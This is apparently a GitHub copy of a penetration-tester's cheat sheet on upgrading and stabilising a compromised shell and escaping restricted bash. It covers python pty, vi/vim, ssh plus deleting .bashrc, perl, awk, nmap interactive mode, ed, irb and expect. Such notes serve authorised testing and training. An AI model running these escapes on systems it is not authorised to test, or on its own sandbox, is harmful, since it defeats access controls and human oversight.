-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbreakouts.txt
94 lines (65 loc) · 1.8 KB
/
breakouts.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
# credit: the amazing sirensecurity
# https://sirensecurity.io/blog/break-out-get-that-tty/
* Grab a valid tty.
* What OS are you on? Grab access to those binaries fast by exporting each environment variable. Debian/CentOS/FreeBSD
* Want a color terminal to easily tell apart file permissions? Directories? Files?
* Fastest way to list out the files in a directory, show size, show permissions, human readable.
* Make this shell stable.
--- PYTHON3
python -c 'import pty; pty.spawn("/bin/bash")'
# (follow below steps)
--- PYTHON3
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm-256color ; export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/tmp
alias ll='ls -lsaht --color=auto'
# Ctrl + Z to background the process
stty raw -echo ; fg ; reset ; stty columns 200 rows 200
# Return key
--- RESTRICTED BASH (PT1)
Is this rbash (Restricted Bash)? PT1
$ vi
:set shell=/bin/sh
:shell
$ vim
:set shell=/bin/sh
:shell
--- RESTRICTED BASH (PT2)
Is this rbash (Restricted Bash)? PT2
(This requires ssh user-level access)
ssh [email protected] "/bin/sh"
rm $HOME/.bashrc
exit
(Bash Shell)
Is python present on the target machine?
python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/sh")'
--- PERL
Is perl present on the target machine?
perl -e 'exec "/bin/bash";'
perl -e 'exec "/bin/sh";'
--- AWK
Is AWK present on the target machine?
awk 'BEGIN {system("/bin/bash -i")}'
awk 'BEGIN {system("/bin/sh -i")}'
--- NMAP
Is Nmap present on the target machine?
nmap --interactive
nmap> !sh
--- MISC
# ed
ed
!sh
# IRB
IRB Present on the target machine?
exec "/bin/sh"
# Expect:
expect -v
expect version 5.45.4
$ cat > /tmp/shell.sh <<EOF
#!/usr/bin/expect
spawn bash
interact
EOF
$ chmod u+x /tmp/shell.sh
$ /tmp/shell.sh